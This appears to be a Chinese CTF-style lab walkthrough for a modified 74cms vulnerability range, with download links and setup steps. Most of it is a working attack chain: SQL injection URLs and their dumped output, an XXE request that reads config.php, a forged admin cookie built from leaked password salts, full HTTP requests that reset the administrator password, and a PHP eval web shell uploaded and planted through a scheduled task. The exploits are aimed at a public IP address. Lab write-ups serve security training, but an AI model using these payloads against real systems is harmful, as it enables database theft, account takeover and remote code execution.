漏洞链靶场搭建与渗透~xxe文件读取+sql注入+代码审计+越权漏洞
此次靶场是基于74cms进行修改的,主要修改了
源码下载地址:https://pan.baidu.com/s/16HVs\_XXa-Tkp9AgcgAwMvg?pwd\=cong
- 通过扫描器和信息收集,发现三个漏洞(两个前台漏洞和一个后台漏洞),以及源码泄露问题。
- 前台两个漏洞分别为文件读取和SQL注入。
- 利用文件读取漏洞读取
/data/config.php
文件,获取其中的源码盐值;再通过前台的SQL注入漏洞,获取数据库中admin
用户的盐值,同时注意到存在一个用户cong
。 - 对
cong
用户进行弱口令爆破,发现密码为123456
。成功登录后台后,发现权限不足,无法利用后台的命令执行漏洞。 - 针对权限不足的问题,尝试进行权限提升。通过源码泄露的代码分析,发现后台的修改密码功能存在越权漏洞。
- 利用前台获取的两个盐值,构造出
admin
用户的伪造 Cookie,执行越权操作,成功修改管理员密码。 - 最终登录管理员账户后台,并成功利用后台的命令执行漏洞,获取服务器的 shell。
-
将必要的配置文件下载下来,下载链接(https://pan.baidu.com/s/1nkyiaCDLG9paa4fC281vcw?pwd\=cong)
-
在当前目录下执行
docker-compose build
-
再执行
docker-compose up -d
即可
-
直接下载网站源码放在phpstudy或者宝塔那里
-
搭建完成访问网址/install安装
-
管理员登录,点击修改密码功能(不用修改)之后将/temp/templates_c下的c_1_users_admin_users_edit_pwd_htm.php文件中的以下代码删除即可(一些没用的前端代码,放在那里可能会引人误导)
-
首先通过综合的扫描器对网站进行扫描得到有三个漏洞,一个是前台的文件读取,一个是前台的sql注入,还有一个是后台的命令执行漏洞
-
-
-
http://121.196.230.42/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,table_name,9%20from%20information_schema.tables%20where%20table_schema=database()%23 结果: 4qs_ad 4qs_ad_category 4qs_admin 4qs_admin_log 4qs_article 4qs_article_category 4qs_article_property 4qs_audit_reason 4qs_baiduxml 4qs_captcha 4qs_category 4qs_category_district 4qs_category_group 4qs_category_jobs 4qs_company_down_resume 4qs_company_favorites 4qs_company_interview 4qs_company_profile 4qs_config 4qs_crons 4qs_explain 4qs_explain_category 4qs_feedback 4qs_help 4qs_help_category 4qs_hotword 4qs_hrtools 4qs_hrtools_category 4qs_jobs 4qs_jobs_contact 4qs_jobs_search_hot 4qs_jobs_search_key 4qs_jobs_search_rtime 4qs_jobs_search_scale 4qs_jobs_search_stickrtime 4qs_jobs_search_tag 4qs_jobs_search_wage 4qs_jobs_tmp 4qs_link 4qs_link_category 4qs_locoyspider 4qs_mail_templates 4qs_mailconfig 4qs_mailqueue 4qs_members 4qs_members_buddy 4qs_members_charge_log 4qs_members_handsel 4qs_members_info 4qs_members_log 4qs_members_points 4qs_members_points_rule 4qs_members_setmeal 4qs_navigation 4qs_navigation_category 4qs_notice 4qs_notice_category 4qs_order 4qs_page 4qs_payment 4qs_personal_favorites 4qs_personal_jobs_apply 4qs_pms 4qs_pms_reply 4qs_pms_sys 4qs_pms_sys_log 4qs_promotion 4qs_promotion_category 4qs_report 4qs_resume 4qs_resume_education 4qs_resume_jobs 4qs_resume_search_key 4qs_resume_search_rtime 4qs_resume_search_tag 4qs_resume_tmp 4qs_resume_training 4qs_resume_work 4qs_setmeal 4qs_simple 4qs_sms_config 4qs_sms_templates 4qs_smsqueue 4qs_syslog 4qs_text 4qs_tpl
-
-
-
http://121.196.230.42/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,group_concat(column_name),9%20from%20information_schema.columns%20where%20table_name=0x71735f61646d696e%23 结果: 4admin_id,admin_name,email,pwd,pwd_hash,purview,rank,add_time,last_login_time,last_login_ip
-
-
这里我们可以查到数据库的admin用户对应的盐值pwd_hash=xODxdi,ped=71f6fa5df85b8f1da7be635d840c8aee
-
-
随便找几篇文章跟着复现就好了,链接
-
poc如下
-
POST /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1 Host: 121.196.230.42 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: text/xml Content-Length: 292 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=../data/config.php"> ]> <xml> <ToUserName>&test;</ToUserName> <FromUserName>1111</FromUserName> <Content>2222</Content> <Event>subscribe</Event> </xml>
-
-
得到拿到源码盐值:$QS_pwdhash = "IZ6f!zjC6XKxPe1=";
-
-
- 上面sql注入得到两个用户,分别是admin和cong,对他们进行弱口令爆破得到
- cong的密码为123456,但是点击去权限不足,后台的命令执行漏洞无法复现,所以我们想要webshell就需要利用次漏洞
- 于是我们开源码进行分析
-
-
因为我们得到的是普通用户cong,只有admin才有权限复现那个漏洞,所以我们需要找到越权漏洞,从cong越到admin
-
在后台的管理员修改密码处(admin/admin_users.php)发现要修改管理员的密码需要满足session(不可能,因为存储在服务器中,该信息无法修改)为管理员或者是check_cookie为真即可,所以我们追踪到check_cookie函数的声明处
-
如图,check_cookie是接受cookie传入的值,而cookie的值是可以控制的,这段代码
md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == $pwd
中$user['admin_name']为
管理员的账号(admin),$user['pwd']
的值为刚才sql注入的管理员pwd值(71f6fa5df85b8f1da7be635d840c8aee),$user['pwd_hash']
的值为sql注入出来的管理员pwd_hash(xODxdi),$QS_pwdhash
则为源码的盐值(IZ6f!zjC6XKxPe1=),所以我们可以通过将上述拼接并进行md5加密就是check_cookie函数的pwd的值了,即4c95fcaa6a4248e5a5a7922ed4ae93a4
-
所以我们只需要在cookie传入
Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;
这个值即可绕过
-
-
-
我们可以通过将得到的源码部署在本地,这样更方便我们测试,复现漏洞,那这里我们就在本地搭建下,admin密码就已知了
-
我们点击密码,然后修改密码,进行捉包
-
可以捉到三个数据包,这两个数据包时连着来的,保存的数据包需要上一个数据包的返回包中的hiddentoken值,然后的话我们就可以通过在cookie传入刚才那个cookie,在修改下host字段旧可以修改目标靶机的管理员admin密码了,需要注意的是phpsessid需要换成cong用户的phpsession,并且还处于登录状态,目的是保持session的存活生效
-
修改密码数据包如下
-
可以捉到三个数据包,分别在这三个数据包中插入
Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;
,并修改对应的id值即可-
poc
-
第一个数据包: GET /admin/admin_users.php?act=edit_users_pwd&id=1 HTTP/1.1 Host: 121.196.230.42 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://121.196.230.42/admin/admin_users.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;12e74ef8323a2621269479a83ab5bcb7_ssl=3fbd1e8e-2c9b-45d4-9a7f-c6aa722d4c59.QVEx7vCgv9bcqpnimCvw4QMirvQ; PHPSESSID=6cdbavi5ool836faokg51c9ei7; 12e74ef8323a2621269479a83ab5bcb7=e902ccc6-b392-4111-8abe-113402938b37.6BeGfz7N40S_7a-gs-JH48cLOVI; http_Path=%2Fwww%2Fwwwroot%2F74cms%2Ftemp%2Ftemplates_c Connection: keep-alive 第二个数据包: POST /admin/admin_users.php?act=edit_users_pwd_save HTTP/1.1 Host: 121.196.230.42 Content-Length: 79 Cache-Control: max-age=0 Origin: http://121.196.230.42 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://121.196.230.42/admin/admin_users.php?act=edit_users_pwd&id=1 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;12e74ef8323a2621269479a83ab5bcb7_ssl=3fbd1e8e-2c9b-45d4-9a7f-c6aa722d4c59.QVEx7vCgv9bcqpnimCvw4QMirvQ; PHPSESSID=6cdbavi5ool836faokg51c9ei7; 12e74ef8323a2621269479a83ab5bcb7=e902ccc6-b392-4111-8abe-113402938b37.6BeGfz7N40S_7a-gs-JH48cLOVI; http_Path=%2Fwww%2Fwwwroot%2F74cms%2Ftemp%2Ftemplates_c Connection: keep-alive hiddentoken=36c46759&password=333333&password1=333333&id=1&submit3=%D0%DE%B8%C4 第三个数据包: GET /admin/admin_users.php?act=edit_users_pwd&id=1 HTTP/1.1 Host: 121.196.230.42 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://121.196.230.42/admin/admin_users.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;12e74ef8323a2621269479a83ab5bcb7_ssl=3fbd1e8e-2c9b-45d4-9a7f-c6aa722d4c59.QVEx7vCgv9bcqpnimCvw4QMirvQ; PHPSESSID=6cdbavi5ool836faokg51c9ei7; 12e74ef8323a2621269479a83ab5bcb7=e902ccc6-b392-4111-8abe-113402938b37.6BeGfz7N40S_7a-gs-JH48cLOVI; http_Path=%2Fwww%2Fwwwroot%2F74cms%2Ftemp%2Ftemplates_c Connection: keep-alive
-
-
退出cong用户登录,登录admin,密码为333333
-
-
-
欧克,终于拿下admin用户了,现在来到最后一个,命令执行漏洞,相关文章:链接
-
将以下代码写入hacker.txt中,修改后缀为hacker.doc
-
<?php file_put_contents("../data/backup/shell.php", '<?php @eval($_POST["pass"]);?>'); ?>
-
-
在hr工具箱中上传hacker.doc,得到路径地址:/data/hrtools/2025/03/1743014069211.doc
-
添加计划任务,配置如下
-
点击执行就会在/data/backup目录下生成shell.php,再用蚁剑连接即可,密码为pass
-